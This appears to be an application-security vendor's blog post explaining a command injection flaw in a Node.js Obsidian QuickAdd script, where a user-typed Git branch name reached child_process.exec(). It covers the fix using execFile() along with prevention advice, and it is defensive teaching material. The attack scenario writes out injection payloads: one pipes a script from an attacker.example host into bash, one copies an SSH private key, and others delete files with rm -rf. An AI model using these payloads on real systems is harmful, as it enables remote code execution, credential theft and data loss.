Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `Config/QuickAdd/git-add-new-origin-branch.js`, where user-supplied branch names were interpolated directly into a shell command string passed to `child_process.exec()`. The fix replaces the shell-interpolated `exec()` call with `execFile()`, passing arguments as a discrete array and eliminating the shell entirely. This proactive hardening removes an exploit primitive that could have been chained with other weaknesses to achieve a

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Node.js script that passes user-controlled input — a Git branch name collected via `params.quickAddApi.inputPrompt()` — directly into a shell command string via `child_process.exec()`. Because `exec()` spawns a shell to interpret the command string, an attacker who controls the branch name input can inject arbitrary shell metacharacters (e.g., `; rm -rf /`) to execute unintended commands. The fix replaces `exec()` with `execFile("git", ["push", "origin", brachName])`, which bypasses the shell entirely and treats each array element as a literal argument, neutralizing the injection vector.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace exec() with execFile(), passing arguments as an array to bypass shell interpretation
riskArbitrary OS command execution on the host running the script
languageJavaScript (Node.js)
root causeUser-supplied branch name string interpolated into a shell command passed to child_process.exec()
vulnerabilityCommand Injection via child_process.exec() with unsanitized user input

How Command Injection Happens in Node.js child_process Calls and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability Command Injection via child_process.exec()
CWE CWE-78 — OS Command Injection
Language JavaScript (Node.js)
Risk Arbitrary OS command execution
Root Cause User input interpolated into shell command string
Fix Replaced exec() with execFile() using argument array

Introduction

The Config/QuickAdd/git-add-new-origin-branch.js file is a QuickAdd script that prompts a user to enter a Git branch name and then pushes that branch to a remote origin. It sounds simple — and it is — but a subtle flaw in how the branch name was handed off to the operating system created a high-severity command injection vulnerability.

At line 9, the original code did this:

const pushStatus = await child_process.exec(
    `git push origin ${brachName}`,
    { cwd: basePath }
);

The variable brachName comes directly from params.quickAddApi.inputPrompt("输入分支名") — a free-text prompt where a user types a branch name. That string was then embedded verbatim into a shell command using a template literal and handed to child_process.exec(). This is the textbook setup for OS command injection.


The Vulnerability Explained

Why child_process.exec() Is Dangerous With User Input

child_process.exec() in Node.js works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to that shell for interpretation. This is convenient because it lets you write shell pipelines and use shell features — but it also means the shell will faithfully interpret every metacharacter in the string, including ones that come from user input.

When brachName is substituted into the template literal:

`git push origin ${brachName}`

the resulting string is handed to a shell as-is. If brachName contains shell metacharacters, the shell will act on them.

A Concrete Attack Scenario

Imagine a user (or an attacker with access to the QuickAdd prompt) enters the following as their "branch name":

main; curl https://attacker.example/shell.sh | bash

The command string that reaches the shell becomes:

git push origin main; curl https://attacker.example/shell.sh | bash

The shell sees two commands separated by ; and executes both. The git push runs normally, and then the attacker's shell script downloads and executes. The injection is silent from the application's perspective — pushStatus might still resolve successfully.

Other payloads are equally damaging:

main && cat ~/.ssh/id_rsa > /tmp/leak && git push origin /tmp/leak
main $(whoami)
main `rm -rf ~/Documents`

All of these work because exec() never questions what the shell does with the string it receives.

Why This Matters Here

This script runs with the privileges of the user executing the Obsidian/QuickAdd plugin environment. On a developer's machine, that typically means access to source code, SSH keys, environment variables, cloud credentials, and more. Even if the prompt is only shown to the local user today, the pattern is an exploit primitive: any future code path that feeds data into brachName without going through the prompt (e.g., from a config file, a URL parameter, or a synced plugin setting) would immediately become exploitable.


The Fix

Before: Shell Interpolation with exec()

// VULNERABLE: brachName is interpolated into a shell command string
const pushStatus = await child_process.exec(
    `git push origin ${brachName}`,
    { cwd: basePath }
);

After: Argument Array with execFile()

// SAFE: brachName is passed as a discrete argument, no shell involved
const pushStatus = await child_process.execFile(
    "git", ["push", "origin", brachName],
    { cwd: basePath }
);

Why This Fix Works

child_process.execFile() does not spawn a shell. Instead, it executes the specified file ("git") directly and passes each element of the argument array as a separate, literal argument to the process. The operating system's execve() syscall receives:

  • argv[0]git
  • argv[1]push
  • argv[2]origin
  • argv[3] → whatever brachName contains, verbatim

If brachName is main; rm -rf /, Git receives the literal string main; rm -rf / as the branch name argument. No shell ever sees it. Git will simply fail to find a branch with that name — no commands are injected, no shell metacharacters are interpreted.

This is the correct architectural fix: eliminate the shell, rather than trying to sanitize input against an ever-evolving list of dangerous characters.

Behavior Preservation

Valid branch names — alphanumeric strings, hyphens, slashes (e.g., feature/my-branch) — pass through execFile() identically to how they passed through exec(). The change is transparent to users with legitimate branch names and only blocks malicious input.


Prevention & Best Practices

1. Prefer execFile() or spawn() Over exec()

Whenever you need to run an external process in Node.js and you don't specifically need shell features (pipes, globbing, environment variable expansion), use execFile() or spawn() with an argument array:

// AVOID — shell is invoked
child_process.exec(`git commit -m "${userMessage}"`);

// PREFER — no shell, arguments are literals
child_process.execFile("git", ["commit", "-m", userMessage]);

2. Validate Input as a Secondary Defense

Even with execFile(), it's good practice to validate that a branch name looks like a branch name before using it. A simple allowlist regex:

const BRANCH_NAME_RE = /^[a-zA-Z0-9._\-\/]{1,200}$/;
if (!BRANCH_NAME_RE.test(brachName)) {
    throw new Error("Invalid branch name");
}
const pushStatus = await child_process.execFile(
    "git", ["push", "origin", brachName],
    { cwd: basePath }
);

This provides defense-in-depth: even if a future refactor accidentally re-introduces a shell, the regex blocks the most dangerous payloads.

3. Use Static Analysis to Catch This Early

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process detects exactly this pattern — calls to child_process functions where arguments include non-literal (potentially tainted) values. Add it to your CI pipeline:

# .github/workflows/security.yml
- name: Semgrep scan
  uses: semgrep/semgrep-action@v1
  with:
    config: "p/javascript"

4. Follow the Principle of Least Privilege

Scripts that invoke shell commands should run with the minimum privileges necessary. If a QuickAdd script only needs to push to a Git remote, it shouldn't run as a user with access to SSH keys for unrelated systems.

5. Relevant Standards


Key Takeaways

  • child_process.exec() with template literals is almost always wrong. The moment you interpolate a variable into that string, you've potentially opened a shell injection path. In git-add-new-origin-branch.js, the single line `git push origin ${brachName}` was the entire vulnerability surface.

  • execFile() eliminates the shell, not just the risk. The fix doesn't add sanitization on top of a dangerous pattern — it removes the dangerous pattern entirely. This is the correct approach.

  • User prompts are user input. inputPrompt() collects free-text from a human. Even in a "trusted" desktop plugin context, that input must be treated as untrusted data before it reaches a system call.

  • Exploit primitives matter even when not immediately exploitable. The exec() + template literal pattern is a building block for exploitation. Automated attack tools can chain it with other weaknesses. Removing it proactively raises the cost of any future attack.

  • A one-line change can close a high-severity finding. Swapping exec(``git push origin ${brachName}``) for execFile("git", ["push", "origin", brachName]) is a minimal, behavior-preserving change that completely neutralizes the injection vector.


How Orbis AppSec Detected This

  • Source: User-supplied branch name collected via params.quickAddApi.inputPrompt("输入分支名") — a free-text input with no format restrictions.
  • Sink: child_process.exec(\git push origin ${brachName}`, { cwd: basePath })at line 9 ofConfig/QuickAdd/git-add-new-origin-branch.js` — a shell-invoking function receiving tainted data via string interpolation.
  • Missing control: No shell-metacharacter sanitization, no allowlist validation of brachName, and use of exec() (which invokes a shell) rather than execFile() (which does not).
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced child_process.exec() with child_process.execFile("git", ["push", "origin", brachName]), eliminating shell interpretation of the user-supplied argument.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in git-add-new-origin-branch.js is a textbook example of why child_process.exec() and string interpolation are a dangerous combination in Node.js. The fix is elegant in its simplicity: by switching to execFile() and passing brachName as a discrete array element rather than embedding it in a shell string, the shell is removed from the equation entirely. No shell means no shell injection — regardless of what characters the user types.

For developers writing scripts that invoke external tools, the lesson is clear: reach for execFile() or spawn() by default, reserve exec() only for cases where you genuinely need shell features, and never interpolate user input into a shell command string. Static analysis tools like Semgrep can enforce this pattern automatically, catching these issues before they ever reach a code review.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is embedded in a shell command string executed by child_process.exec(). Because exec() spawns a shell to parse the command, shell metacharacters in the input (like ;, &&, |, or $()) can cause unintended commands to run.

How do you prevent command injection in Node.js child_process calls?

Use child_process.execFile() or child_process.spawn() instead of exec(), and pass arguments as an array rather than interpolating them into a string. This bypasses the shell entirely, so metacharacters in arguments are treated as literals.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation alone enough to prevent command injection in child_process.exec()?

No. Input validation can reduce risk but is error-prone and easy to bypass. The most reliable fix is architectural: use execFile() or spawn() with argument arrays so no shell is involved and validation becomes a secondary defense layer.

Can static analysis detect child_process command injection?

Yes. Tools like Semgrep (rule: javascript.lang.security.detect-child-process.detect-child-process) and ESLint security plugins can flag calls to child_process.exec() where arguments include non-literal values, making these vulnerabilities discoverable before they reach production.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1130

Related Articles

high

How Command Injection happens in PHP shell execution and how to fix it

A command injection vulnerability in `sitrecServer/windProxy.php` allowed user-controlled input to reach a shell command without proper sanitization, creating a remote code execution risk. The `$cycleHour` parameter was passed directly as a format integer (`%d`) into a `sprintf`-built shell command, bypassing the `escapeshellarg()` protection applied to all other arguments. The fix casts `$cycleHour` to an integer and wraps it with `escapeshellarg()`, closing the injection path entirely.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) in the `shell-quote` npm package versions prior to 1.8.4 allowed attackers to execute arbitrary code by injecting unescaped line terminators into shell arguments. The fix upgrades `shell-quote` from 1.8.2 to 1.9.0 and pins the dependency across `package.json`, `package-lock.json`, and `yarn.lock` to ensure no transitive dependency can pull in the vulnerable version.

high

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

The `shell-quote` package (versions prior to 1.9.0) contained a critical command injection vulnerability where unescaped line terminators in shell arguments could be exploited to inject arbitrary commands. This vulnerability was discovered in the docs-site dependency tree and fixed by upgrading to version 1.9.0, which properly escapes line terminators to prevent attackers from breaking out of quoted arguments and executing malicious shell commands.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

high

How Path Traversal happens in PostCSS Source Map Loading and how to fix it

A path traversal vulnerability in PostCSS versions before 8.5.18 allowed malicious `sourceMappingURL` comments in CSS files to trick PostCSS into loading arbitrary `.map` files from the filesystem. The fix upgrades PostCSS from 8.5.15 to 8.5.18 in `frontend/package-lock.json` and pins the version via an override in `frontend/package.json`, closing the file disclosure vector before it could be chained with other weaknesses.